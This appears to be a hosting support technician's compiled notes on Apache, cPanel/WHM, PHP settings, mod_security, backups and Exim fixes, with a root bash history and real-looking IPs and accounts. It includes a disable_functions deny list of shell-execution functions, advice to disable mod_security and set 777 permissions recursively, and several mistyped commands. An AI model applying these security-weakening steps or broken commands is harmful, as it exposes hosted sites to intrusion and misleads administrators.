Compiled using: APR 1.3.8, APR-Util 1.3.9
Architecture: 32-bit
Server MPM: Prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APACHE_MPM_DIR="server/mpm/prefork"
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=128
-D HTTPD_ROOT="/usr/local/apache"
-D SUEXEC_BIN="/usr/local/apache/bin/suexec"
-D DEFAULT_PIDLOG="logs/httpd.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_LOCKFILE="logs/accept.lock"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="conf/mime.types"
-D SERVER_CONFIG_FILE="conf/httpd.conf"
Q 4. How to check modules compiled with apache
httpd –l
httpd –M
httpd –l only shows the list of modules but httpd –M shows static and shared modules
Q 5. How to check apache log paths and how to view the logs
Error Log : record any errors that it encounters in processing requests
Access log : all requests processed by the server
1. Httpd –V
2. Open httpc.conf file and search for “ErrorLog” directive.
Open httpd.conf file and search “ CustomLog” directive
To check the logs :
tail –f error log file path
Q 6. . How to find out config file paths and how to check syntax of conf file.
Redhat and CentOS stores httpd conf file at :
/etc/httpd/conf/httpd.conf
Apache is, by default, installed in /etc/httpd directory. But this path also depends on how apache has been compiled. Default configuration file name httpd.conf.
1. Using find command:
# find / -name 'httpd.conf' -print
2. Using locate command:
locate httpd.conf
To check syntax of httpd.conf file
After making any changes in httpd.conf file run following commands to check the syntax :
httpd –t
Service httpd configtest
Q 7 How to check process running – apache process
lsof -i :80
(List open file system)
Option –i : This option selects the listing of files any of whose Internet
address matches the address specified.
Output :
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 10978 root 5u IPv4 34261427 TCP *:http (LISTEN)
httpd 11000 root 5u IPv4 34261427 TCP *:http (LISTEN)
httpd 11010 nobody 5u IPv4 34261427 TCP *:http (LISTEN)
Command: Command or a process involved
Pid: process ID
User: A user running the command
FD: The file descriptor
Type: type of connection
Device: Device number
Node: TCP/UDP nodes
Name: Ports that are awaiting connections have the keyword LISTEN appended to them.
netstat -an | grep :80 | sort
Show only active Internet connections to the server at port 80 and sort the results. Useful in detecting single flood by allowing users to recognize many connections coming from one IP.
watch -n 1 netstat -ta
Q 8. Apache failed – different error and there solutions
1. Error : Unable to open file
Check for the log file path and cd to it.
Check the log file size
Echo > error_log
Echo > access_log
Service httpd restart
2. Error : httpd not started bad user name
Copy the user name
Open httpd.conf file
Search the virtualhost entry for the user name
Remove the virtualhost entry from the conf file
Save and exit
Check the configuration of conf file
Restart httpd
3. Error : Address already in use: make_sock: could not bind to address 0.0.0.0:443 no listening sockets available, shutting down
This is caused by one or more processes running on the 443 (secure socket) port. To fix this problem first find the process ID's that are running on port 443:-
fuser 443/tcp
Out put of the command will show you list of processes running on 443 port no. Kill all process
Kill -9 process id
Restart httpd service.
4. Address already in use: make sock: could not bind to address 0.0.0.0:80 no listening sockets available, shutting down
fuser 80/tcp
Kill -9 process id
5. Error in error log : No space left on device: Couldn't create accept lock
No space left on device: mod_rewrite: could not create rewrite_log_lock Configuration Failed
Checking your disk shows that you have plenty of space.
The problem is that apache didn't shut down properly, and it's left myriads of semaphore-arrays left, owned by my apache-user.
ipcs -s | grep nobody
Removing these semaphores immediately should solve the problem and allow apache to start.
ipcs -s | grep nobody | perl -e 'while (<STDIN>) { @a=split(/\s+/); print `ipcrmsem $a[1]`}'
restart http service.
6. Error
Apache generates semaphores and when it can not generate more, you should get an error like this:
"No space left on device:mod_rewrite: could not create_rewrite: could not create rewrite_log_lockConfiguration Failed"
You should delete semaphores to fix it.
Listing and deleting semaphores :
# ipcs -s grep apache
# ipcs -s grep apache perl -e 'while () { @a=split(/\s+/); print `ipcrm sem $a[1]`}'
It should be fine now :)
7. If you are getting error when you restart apache server
[root@server httpd]# service httpd restart
Stopping httpd: [ OK ]
Remaining processes: 26467
Stopping httpd: [ OK ]
Starting httpd: Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Warning: SuexecUserGroup directive requires SUEXEC wrapper.
Solution :
You need to set the sticky bit for suexec. below is my path, so your suexec may be in a different place. refer to the link
On shell
httpd -V |grep -i suexec it will give path for suexec
like
root@bond [~]# httpd -V |grep -i suexec
-D SUEXEC_BIN="/usr/local/apache/bin/suexec"
root@bond [~]# httpd -V |grep -i suexec
-D SUEXEC_BIN="/usr/local/apache/bin/suexec"
root@bond [~]# ll /usr/local/apache/bin/suexec
-rwxr-xr-x 1 root root 18190 Jan 23 11:03 /usr/local/apache/bin/suexec*
root@bond [~]# chmod 4755 /usr/local/apache/bin/suexec SET sticky bit
root@bond [~]# ll /usr/local/apache/bin/suexec
-rwsr-xr-x 1 root root 18190 Jan 23 11:03 /usr/local/apache/bin/suexec*
Q 9. Main apache modules
a. mod_rewrite
b. mod_security
a. mod_rewrite
Mod_rewrite allows you to rewrite a webpage's url on the fly, and you can rewrite the url to almost anything. It has a lot of uses everything from redirecting multiple WebPages to a new domain without actually changing the title, to making dynamic pages appear static.
However, it is somewhat complicated to learn, and if you make a mistake its also possible to really mess-up your server and create endless loops. Need less to say I don't recommend messing around with this on you live site. The solution, if you want to mess around and experiment with it is, to run a test server on your own computer for test purposes. Apache by default comes with the mod_rewrite module installed but not enabled
This module operates on the full URLs (including the path-info part) both in per-server context (httpd.conf) and per-directory context (.htaccess) and can even generate query-string parts on result. The rewritten result can lead to internal sub-processing, external request redirection or even to an internal proxy throughput.
Configuration Directives
* RewriteEngine
* RewriteOptions
* RewriteLog
* RewriteLogLevel
* RewriteLock
* RewriteMap
* RewriteBase
* RewriteCond
* RewriteRule
How to check if mod_rewrite is enabled on server
1. Create one directory in your account.
2. create one .htaccess file in it
Options +FollowSymLinks
RewriteEngine On
save the above code in it.
3. Run the directory in browser
4. If -
- No errors Congrats mod_rewrite engine is now enabled.
- 500, Internal Server Error If you get this message then mod_rewrite was not installed/enabled on your computer.
mod_security
mod_security help to protect your server from exploits that are passed though apache. Mod_security does this by inspecting the information sent in apache and filtering out all of the "bad" requests as determined by the set of rules specified in the httpd.conf.
How to disable mod_security on server
comment out (put a # in front of) the AddModule mod_security.c line and restart apache
How to disable mod_security for that individual account ?
Error :
[Sat Feb 07 08:14:37 2009] [error] [client 79.133.23.23] ModSecurity: Access denied with code 501 (phase 2). Match of "rx (?:^(?:application\\\\/x-www-form-urlencoded(?:;(?:\\\\s?charset\\\\s?=\\\\s?[\\\\w\\\\d\\\\-]{1,18})?)??$|multipart/form-data;)|text/xml)" against "REQUEST_HEADERS:Content-Type" required. [id "960010"] [msg "Request content type is not allowed by policy"] [severity "WARNING"] [hostname "www.nuclearfreefinland.org"] [uri "/admin/build/views/ajax/config-item/calendar/default/filter/status"] [unique_id "61e4N0g3s7cAAB0CYsUAAAAD"]
Error : Your webserver has the mod_security module enabled. As a result, you may see the "403 Forbidden" or "Not Acceptable" error messages after submitting forms that contain "curl", "perl", "set", etc. It is recommended to disable this module or reconfigure it so that these words are not forbidden.
If you are receiving the error for mod_security, access denied with error code 403 when you check the error logs for any account. You can disable the mod_security for that account by adding a simple code in his .htaccess
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
path
Include "/usr/local/apache/conf/modsec2.conf"
Php.ini
php.ini file
• What is php.ini file
The php.ini file is where you declare changes to your PHP settings. You can edit the existing php.ini, or create a new text file in any subdirectory and name it php.ini.
• How to locate php.ini file
find / -name php.ini
locate php.ini
• Path of php.ini file
/usr/local/lib/php.ini
/usr/lib/php.ini
/var/cpanel/3rdparty/lib/php.ini
• Main options in php.ini
* open_basedir =
Error : open_basedir restriction in effect
Solution : Security >> Security Center >> Tweak PHP open_basedir Security
*. disable_functions = dl, system, passthru, popen, pclose, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close,
pfsockopen, leak, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid
* Resource Limits
max_execution_time = 30 ; Maximum execution time of each script, in seconds
max_input_time = 60 ; Maximum amount of time each script may spend parsing request data
memory_limit = 32M ; Maximum amount of memory a script may consume (32MB)
* display_errors = Off
Print out errors as a part of output. Keep it off
* log_errors_max_len = 1024
Error log file size is set to 1024 bytes.
* magic_quotes_gpc = On
Magic quotes for incoming GET/POST/Cookie data.
* upload_max_filesize = 16M
Maximum allowed size for uploaded files.
* * allow_url_fopen = Off
As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a filename as a parameter. In addition, URLs can be used with the include(), include_once(), require() and require_once() statements (since PHP 5.2.0, allow_url_include must be enabled for these). See List of Supported Protocols/Wrappers for more information about the protocols supported by PHP.
* session.save_path = /tmp
session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created
.htaccess
Apache allows for decentralized management of configuration via special files placed inside the web tree. The special files are usually called .htaccess, but any name can be specified in the AccessFileName directive. Directives placed in .htaccess files apply to the directory where you place the file, and all sub-directories. The .htaccess files follow the same syntax as the main configuration files. Since .htaccess files are read on every request, changes made in these files take immediate effect.
Using .htaccess is enabled or not?
<Directory "/">
Options All
AllowOverride All
</Directory>
# In the server configuration file, put
#
# <Directory />
# AllowOverride None
# </Directory>
#
# This prevents the use of .htaccess files in all directories apart from those specifically enabled.
PHPSuExec Explained
This webpage will explain file/directory permissions, the differences between running PHP as an Apache module and running PHP as a CGI with Suexec, and it will also touch on some common problems experienced when running PHP as a CGI with Suexec.
A Brief Overview on File Permissions
0400 read by user
0200 write by user
0100 execute by user
0040 read by group
0020 write by group
0010 execute by group
0004 read by world
0002 write by world
0001 execute by world
By adding the permissions together, you will come up with the number that corresponds to the permission. For example, 400+200+100+40+20+10+4+2+1=777 - read/write/execute by user/group/world.
What is PHPSuexec?
PHPSuexec is the shortened term often used to describe running PHP as a CGI with Suexec. Running PHP as a CGI with Suexec creates a much more secure environment compared to running PHP as an Apache module. Below we will describe the differences in the two forms of PHP, with examples on how security differs with the two.
PHP as an Apache Module
When PHP runs as an Apache module, PHP files work under the Apache user/group known as "nobody". For example, when a PHP file needs to write to another file or create/remove a file, it does so under the name "nobody". In order to allow "nobody" to do this, you need to set specific permissions on the file/directory, such as 777 - which translates to read/write/execute by user/group/world. This is insecure because you have not only allowed the webserver (Apache) to read/write to the file, you have also allowed everyone else on the server to read/write to the file as well!
Due to the above conditions, when a PHP file creates or uploads a new file under your account, the new file will be owned by the user "nobody". If you FTP into your account, all files owned by "nobody" will not be available for you to move, rename or delete. In this case the only way to remove the "nobody" owned files would be through a file on the server or to contact support and ask for the file ownership to be changed back to your username.
PHP as a CGI with Suexec
When PHP runs as a CGI with Suexec, PHP files work under your user/group. PHP files no longer require loose permissions to function, now they will require strict permissions. Setting your directories or PHP files to 777 will cause them to produce a 500 Internal Server Error, this happens to protect your PHP files from being abused by outside sources.
Under PHPSuexec your directories and PHP files can have permissions no greater than 755 (read/write/execute by your username, read/execute by group/world). Since you own your files, your scripts can function in any directory your user has created and can't be manipulated by any outside users, including "nobody".
Now, when a PHP file creates or uploads a new file under your account, the new file will be owned by your username. You will no longer have to worry about the webserver taking over your files and even more important, you will no longer have to worry about a stranger reading or writing to your files either!
.htaccess
When PHP runs as an Apache module you are able to manipulate PHP using .htaccess - since .htaccess is an Apache feature. When PHP runs as a CGI, you can no longer do this because Apache no longer understand the PHP flags and values. Instead, when PHP runs as a CGI, you will need to create your own PHP initialization file, this file is called php.ini -- php.ini works almost the same as .htaccess -- it is simply a text file with directives that will be used instead of the servers default directives.
To give you a better understanding about how both work in regards to PHP, we have listed a .htaccess file and a php.ini file below.
.htaccess
php_value magic_quotes_gpc on
php.ini
magic_quotes_gpc = on
There is one main difference to the use of .htaccess vs php.ini -- a .htaccess file can be placed at the root directory and effect all subdirectories with just 1 file, php.ini does not work this way. A php.ini file needs to be placed in every directory and subdirectory that requires the altered directives. This is a downfall for using PHPSuexec, however we hope that in the future PHP can be written to handle the php.ini file in a more workable fashion.. Last but not least, there is a directive used in .htaccess that needs to be altered in order to work under PHPSuexec. The directive ForceType needs to be changed to SetHandler. For example:
PHP as an Apache Module .htaccess Style
ForceType application/x-httpd-php
PHP as a CGI with Suexec .htaccess Style
SetHandler application/x-httpd-php
It is important to understand that you can still use .htaccess for a variety of Apache functions, such as mod_rewrite directives, password protection directives, etc. The only difference is that it can no longer process PHP directives.
How to check if phpsuexec is enabled on the server :
You can easily check if your server has phpsuexec enabled by accessing your server’s phpinfo
Simply look for the box which show
‘Server API’ :-
“Server API: Apache” , this means that your server is currently running php as an Apache module. If within the phpinfo page you see the following:-
“Server API: CGI”, then your server has a CGI installation of PHP with suexec enabled.
Common Problems experienced with PHPSuexec If your PHP scripts are reporting 500 Internal Server errors, please check the following:
* Make sure the directory permissions the PHP file is in are no greater than 755
* Make sure the PHP file permissions are no greater than 755 - 644 is the default permissions for files uploaded by FTP and will work fine for most PHP files.
* Make sure you do not have any .htaccess files which contain PHP flags/values or ForceType directives. These directives need to be handled differently, as explained above. Courtesy of hostmagik.
By default PHP on WHM/Cpanel is loaded as DSO (Dynamic Shared Object) module and is run by the user “nobody” by default. Though this method of loading the PHP module is normally the fastest way to serve PHP request, running it as using user “nobody” will be a real pain in the ass if you are serving multiple sites run by multiple users, you will be for sure run into file permission problems.
This is where the SuExec comes in play, every executed PHP scripts will be executed by the user who owns the VirtualHost that is server the request, this method has a lot of drawbacks too on both speed and security.
Anyway, if you still want to enable it then read on below.
1. Login to your Web Host Manager as root account then under the Service Configuration menu, look for the “Configure PHP and SuExec” and click on it.
2. On the “Configure PHP and SuExec” page, under “alter configuration” section, look for the PHP handlers and then change its values to “cgi” and then set the Apache SuExec to On. (by default the value is on)
3. Finally, click on “Save new configuration” button and wait til the Apache server restarted and your done.
To verify that SuExec is working as intended, try to upload a file or create a folder using an upload file script on PHP.
How to enable Choose Log Programs for Awstats from cPanel :
1. Go tot Statistics Software Configuration option from WHM
2. Under User Permissions section click on Choose which specific users can modify their web generating software. Choose users button
3. add the perticular user and configure and check cpanel again. It will get enabled.
If web logs are not working for addon domains then set the config file for the addon doamin
a)LogFile="/usr/local/apache/domlogs/lolcritters.com"
b)DirData="/home/tradesma/tmp/awstats
c)SiteDomain="lolcritters.com" MinMax Servers - Configure Backup
_________________________________
Overview: Keeping 2 sets of backup data is not possible due to the fact that the primary/secondary drives on the servers are the same size, and the primary drive is often over 70% full, attempting to keep 2 backup sets is causing all backups to fail.
Solution: Keep a single weekly backup set (we set it as daily run once per week) and shortly add a daily backup for dynamic data (i.e. MySQL Databases)
This configuration is to be set in all servers WHM at Backup > Configure Backup
Backup Status: [X] Enabled
Backup Interval: [X] Daily (Weekly/Monthly NOT selected)
Backup Retention: [X] Daily (Weekly/Monthly NOT selected)
Days to Run Backup: Saturday
Remount/Unmount Backup Drive [X] Disabled
Bail Out If Backup Drive Mount Fails [X] Disabled
Incremental Backup: [X] Enabled
Backup Accounts : [X] Enabled
Compress Account Backups: [X] Disabled
Backup Configuration Files: [X] Enabled
Backup SQL Databases [X] Per Account and Entire MySQL Directory
Backup Access Logs [X] Disabled
Backup Type Standard
N/A Remote FTP Host | FTP Backup User | FTP Backup Password | FTP Backup Directory | FTP Backup Passive Mode: N/A
Backup Destination /backup
Notes:
_____
- Remove Any Weekly / Monthly Backup directories from the /backup drive
- cPanel Backup State & Disk Usage monitored by Nagios (in my dreams)
- Don't backup accounts over 5GB
- Instruct clients on the importance of backing up their data daily.
- Ensure Service Agreement details the Service Level
- Offer clients a daily backup service as a paid upgrade
Bash History :
=========
root@rhodium [~]# tail -100 ~/.bash_history
/etc/init.d/httpd restart
w
pico /var/spool/cron/root
/etc/init.d/crond restart
w
cd /backup/cpbackup/
cd daily/
ll
/scripts/cpbackup --force
ll
ping bassxplod.com
w
mail -vv test@ororico.com
hostname -i
top -cd2
vi /usr/local/nagios/etc/nrpe.cfg
exit
df -h
ping aksipert.com
top -cd2
/scripts/whoowns milliondollargoal.net
cd ~ilovered
cd /backup/cpbackup/daily/
ll | grep ilovered
/etc/init.d/pure-ftpd restart
nano /usr/local/lib/php.ini
cat /etc/pure-ftpd.conf
nano /etc/pure-ftpd.conf
nano /usr/local/lib/php.ini
/scripts/whoowns milliondollargoal.net
cd ~ilovered
cd public_html/
ll
nano .htaccess
/etc/init.d/httpd restartr
/etc/init.d/httpd restart
/etc/init.d/pure-ftpd restart
/etc/init.d/pure-ftpd restart
nano .htaccess
/etc/init.d/pure-ftpd restart
ll
/scripts/restartsrv_pureftpd
cd /usr/local/nagios/libexec/
vi check_crond
chmod 755 check_crond
vi /usr/local/nagios/etc/nrpe.cfg
/etc/init.d/xinetd restart
w
top -cd2
clear
poweroff
service network start
mii-tool
mii-tools
clear
update-inintramfs
clear
ifconfig eth0 up
modprobe e1000
depmod
depmod -a
clear
cd /etc/sysconfig/network-scripts/
ls
vi ifcfg-eth0
ifconfig
ifconfig -a
clear
"ls"
cd
ls
cat .bashrc
clear
cd /etc/sysconfig/network-scripts/
"ls"
ifup eth0
ifup eth1
ifup eth0
clear
ping 4.2.2.2
service network start
root
/etc/init.d/ipaliases start
cat /etc/ips
ifconfig
ifup eth0
exit
mkinitrd
mount /dev/sda1 /mnt/boot
mount /dev/sda1 /mnt/boot
fdisk -l
mount /proc
fdisk -l
exit
df -h
mkinitrd
mkinitrd --preload sd_mod --preload sata_mod --preload scsi_mod --preload ata_piix /boot/initrd-2.6.18-194.11.4.el5.img.sam 2.6.18-194.11.4.el5
mkinitrd --preload sd_mod --preload scsi_mod --preload ata_piix /boot/initrd-2.6.18-194.11.4.el5.img.sam 2.6.18-194.11.4.el5
passwd
exit
Big.NSJET Update
php.conf updated to:
# This file was automatically generated by the Cpanel PHP Configuration system
# If you wish to change the way PHP is being handled by Apache on your system,
# use the /usr/local/cpanel/bin/rebuild_phpconf script or the WHM interface.
#
# Manual edits of this file will be lost when Apache is updated.
# LibPHP5 configuration
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php5 .php4 .php .php3 .php2 .phtml
# End of autogenerated PHP configuration.
Updating user configurable PHP settings.
[info] recursion depth is set to: 2
Restarting Apache
These settings are now active.
The MIME types associated with PHP may have changed.
If you experience problems with PHP related settings in .htaccess files, ensure
those files use the MIME types specified above (the first value listed after AddType.)
Blank page with WordPress… How to Fix that ?
Maybe this helps someone…. when you see blank page with your WordPress blog you can use my tips to find bug and fix that annoying problem.
1. Turn off all plugins
2. Change theme to another one (refresh/check)
3. Creates or/and update .htaccess file
(you can browse it by linux console for example)
4. Edit and save post, permalinks…. stuff like that
5. Update to newest version of WordPress
6. Check what PHP version you have
7. Check this out:
WordPress should compress articles (gzip) if browsers ask for them
… in my situation this fix my blank page error.
8. Check error logs if there is something interesting about your problem
This (point 7) helps me with my CSS gallery. But I also generate problem with SilenBits and it was blank too…. the problem solved when i use this fix:
2. Change theme to another one (refresh/check)
So good luck and no WordPress blank pages for you !You can add the coutry below to block.
DirectoryIndex index.php index.html
GeoIPEnable On
# SetEnvIf GEOIP_COUNTRY_CODE TR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE VN BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE BR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE NG BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A2 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE MA BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE IR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A1 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE DZ BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE PS BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE KE BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE TN BlockCountry
# ... place more countries here
Deny from env=BlockCountry
# Optional - use if you want to allow a specific IP address from the country you denied
# (See http://httpd.apache.org/docs/1.3/mod/mod_access.html for more details)
Allow from 10.1.2.3
<Files 403.shtml>
order allow,deny
allow from all
</Files>
deny from 77.105.18.33
deny from 123.237.228.239
******************************************************
Also you need to block the country from WHM
go to WHM >> Firewall configurations >> find CC_deny option and place the country code and restart csf.
******************************************************
If you found any domain which is causing the attack,
copy the below code into his accounts .htacess to him from the server.
# SetEnvIf GEOIP_COUNTRY_CODE TR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE VN BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE BR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE NG BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A2 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE MA BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE IR BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE A1 BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE DZ BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE PS BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE KE BlockCountry
SetEnvIf GEOIP_COUNTRY_CODE TN BlockCountry
# ... place more countries here
*****************************************************************************************************************************************
HLOAD
/usr/bin/lynx -width=1000 -with_backspaces -dump http://127.0.0.1/whm-server-status |grep GET |awk '{print $5 " " $11 " " $12" " $14}'|sort -ginr|head -$1
Block DO
/usr/bin/lynx -dont_wrap_pre -dump http://127.0.0.1/whm-server-status |grep $1 |awk '{print "csf -d " $11}'
*****************************************************************************************************************************************
>> Yes the server is responding fine when I try to telnet to port 3306 from remote location to the server.
Please use the hostname address as 67.159.54.148, since the servers IP has been changed.
To ensure the remote connectivity, you can go to your local machines command prompt and do:
telnet 67.159.54.148 3306
>> I see, but its odd that it takes so long to establish a connection to itself this could why it times out when it attempts a remote connection.
>> When I try to do telnet to the 3306 port, it responds quickly with the established connection. You may also need to check that the port 3306 is not blocked in your local machines firewall.
cgiemail shows Internal server error from cpanel while installing cgi-email
CGIEmail is another form processing script, totally different than FormMail. Some cpanel user uses this script for form processing but due to some server configuration it shows error "Internal server error" . Please follow the steps provided.
1) Login to cpanel and goto file manager
2) Then delete these four files cgiecho ,cgiemail ,entropybanner.cgi ,randhtml.cgi from cgi-bin folder
3) Then goto cpanel>>CGI center and click on the CGI email.
http://www.myname.com/cgi-bin/cgiemail/
contactu.html
<FORM METHOD="POST" ACTION="http://www.tri-stateparalegalservices.com/cgi-bin/cgiemail/contact.txt">
<INPUT TYPE="hidden" NAME="success" VALUE="http://www.tri-stateparalegalservices.com/thanks_for_your_message.htm">
<div align="center">
<table width="539" border="0" cellspacing="5">
<tr><td><div align="right">Your Email Address:</div></td>
<td><INPUT NAME="email"></td></tr><tr>
<td><div align="right">Name:</div></td>
<td><INPUT NAME="yourname"></td></tr>
<tr><td><div align="right">Company Name:</div></td>
<td><INPUT NAME="coname"></td></tr>
<tr><td><div align="right">Address / Location:</div></td>
<td><INPUT NAME="address" size="50"></td></tr>
<tr><td><div align="right">Phone Number:</div></td>
<td><INPUT NAME="phone"></td></tr>
<tr><td><div align="right">Subject: </div></td>
<td><INPUT NAME="submess" size="30"></td></tr>
<tr><td valign="top"><div align="right">Message:</div></td>
<td><textarea name="message" cols="50" rows="10"></textarea></td></tr>
<tr><td height="30"> </td>
<td valign="top"><INPUT name="submit" TYPE="submit" value="Send Message"></td></tr>
</table>
</div>
</FORM>
*******************************************************************************************************
thanks_for_your_message.html
<html>
<body>
Thank you.
</body>
</html>
*******************************************************************************************************
contact.txt >> create this file within cgi-bin folder and make 755 .
To: test@tri-stateparalegalservices.com
Subject: Message submitted on Website
Name [yourname]
Company Name [coname]
Address [address]
Phone Number [phone]
Subject of Message [submess]
Message [message]
*******************************************************************************************************
<form action="http://www.myhomeestates.co.uk/cgi-bin/cgiemail/test.txt" method="post" name="ResponseForm">
Name <input name="name" type="text" /><br />
Address<br />
<textarea name="address" style="width: 136px; height: 65px"></textarea><br />
Vendor/Landlord
<input name="Radio1" type="radio" value="1" /><br />
Tennant
<input checked="checked" name="Radio1" type="radio" /><br />
Purchaser<input name="Radio1" type="radio" /><br />
Telephone Number<br />
<input name="telephonenumber" type="text" /><br />
Property Requirements<br />
<textarea name="propertyrequirements" style="width: 139px; height: 63px"></textarea><br />
<input name="Submit1" type="submit" value="submit" /> <br />
<br />
</form>
Save this as contact_us.html inside main domain name folder >> public_html
**********************************************************************************************************
Create now a .txt file
EX. test.txt
To: sales@myhomeestates.co.uk
Subject: Email Enquiry - My Home Estates
name [name]
address [address]
telephone number [telephonenumber]
property reqiurements [propertyrequirements]
Save this file inside cgi-bin folder and also inside public_html folder and make 755 permissions.
How do I change the Copyright message in the footer?
If you make a custom template and use your own graphics you may change the copyright as follows:
Open the includes/languages/english.php file in your text editor.
Find the following lines of code. We will be changing the text starting with “Copyright” and ending with the first “Zen Cart”.
define('FOOTER_TEXT_BODY', 'Copyright © 200* <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>. Powered by <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>');
Change the
Copyright © 200*
with your own text. Now replace the http://www.zen-cart.com url with a url that deals with your business or the url of your store. Finally replace “Zen Cart” with the name of you business.
Save the edited file to includes/languages/CUSTOM/english.php and upload it to your server
It is considered common courtesy to leave “Powered by Zen Cart" intact as it assists in advertising the Zen Cart project that is allowing you to create your new store and hopefully make money from it.
If you want your shop listed in the Zen Showcase, you must leave "Powered by Zen Cart" in the footer for Identification.
http://tutorials.zen-cart.com/index.php?article=131find -xtype d | xarge chmod 755
for directory
find -xtype f | xarg chmod 755
for files
find -xtype d | xarge chmod 777
set 777 to all directories
find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
vi /etc/ssh/sshd_configphp -i | grep Hi,
I am not currently able to log into this server, the connection times out.
ssh -l 3gteam 66.7.202.240 -p1097
ssh: connect to host 66.7.202.240 port 1097: Connection timed out
However, I suspect that as with many popular PHP scripts, Click Be does not work with PHP 5.3.x.
If the server has PHP4 installed as well as PHP5, try switching the site to use PHP4 and see if that helps.
If not, you may need to switch back to PHP 5.2.14 or discontinue use of ClickBe. Netenberg hasn't updated ClickBe for PHP 5.3 yet.
If other sites using ClickBe on this server are working, then please check the access details you provided and we can take a closer look.
Regards,
CNAME and Mx Record lookup
http://www.google.com/support/a/bin/answer.py?hl=en&answer=116393
dictionary
http://www.cfilt.iitb.ac.in/~hdict/webinterface_user/dict_search_user.php
http://www.shabdkosh.com/
mysql --database=achievin_clss2 -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=achievin_clss2 &
use this command after changing db name in two places on server.
http://www.hscripts.com/tutorials/linux-commands/chkconfig.htmlCommon Exim issues and their fixes
For the error "failed to open scan directory /var/spool/exim/scan/scan .. Too many links "
If you see an error similar to the one above in exim log , check the files in the said dir , if it is
filled up with files that are not needed feel free to remove them or move it elsewhere if customer
need to verify it.
Ex, reference tick id SUW-71887-854
Error should be something similar as shown in logs below,
-bash-3.00# grep 1IOmvr-0005n7-Ry /var/log/exim_mainlog
2007-08-25 00:07:32 1IOmvr-0005n7-Ry failed to open scan directory /var/spool/exim/scan/scan/1IOmvr-0005n7-Ry: Too many links
2007-08-25 00:07:32 1IOmvr-0005n7-Ry malware acl condition: error while creating mbox spool file
2007-08-25 00:07:32 1IOmvr-0005n7-Ry H=py-out-1112.google.com [64.233.166.181] F=<pvpticks@gmail.com> temporarily rejected after DATA
-bash-3.00# ls -al /var/spool/exim/scan/ | wc -l
32001
Exiscan fails to remove the dirs in it, finally ending up creating too many file/dir it can't handle.
To fix, /var/spool/exim/scan/ was moved to /root and exim was restarted.Error like :
Notice: Constant TRANSLATION2_ERROR already defined in /usr/local/lib/php/Translation2.php on line 55
Notice: Constant TRANSLATION2_ERROR_METHOD_NOT_SUPPORTED already defined in /usr/local/lib/php/Translation2.php on line 56
**************************************************************************
Issue: Errors with Translation2.php
You have the following errors on your site:
Notice: Constant TRANSLATION2_ERROR already defined in /usr/local/lib/php/Translation2.php on line 55
Notice: Constant TRANSLATION2_ERROR_METHOD_NOT_SUPPORTED already defined in /usr/local/lib/php/Translation2.php on line 56
Notice: Constant TRANSLATION2_ERROR_CANNOT_CONNECT already defined in /usr/local/lib/php/Translation2.php on line 57
Notice: Constant TRANSLATION2_ERROR_CANNOT_FIND_FILE already defined in /usr/local/lib/php/Translation2.php on line 58
Notice: Constant TRANSLATION2_ERROR_DOMAIN_NOT_SET already defined in /usr/local/lib/php/Translation2.php on line 59
Notice: Constant TRANSLATION2_ERROR_INVALID_PATH already defined in /usr/local/lib/php/Translation2.php on line 60
Notice: Constant TRANSLATION2_ERROR_CANNOT_CREATE_DIR already defined in /usr/local/lib/php/Translation2.php on line 61
Notice: Constant TRANSLATION2_ERROR_CANNOT_WRITE_FILE already defined in /usr/local/lib/php/Translation2.php on line 62
Notice: Constant TRANSLATION2_ERROR_UNKNOWN_LANG already defined in /usr/local/lib/php/Translation2.php on line 63
Notice: Constant TRANSLATION2_ERROR_ENCODING_CONVERSION already defined in /usr/local/lib/php/Translation2.php on line 64
Notice: Constant TRANSLATION2_ERROR_UNSUPPORTED already defined in /usr/local/lib/php/Translation2.php on line 65
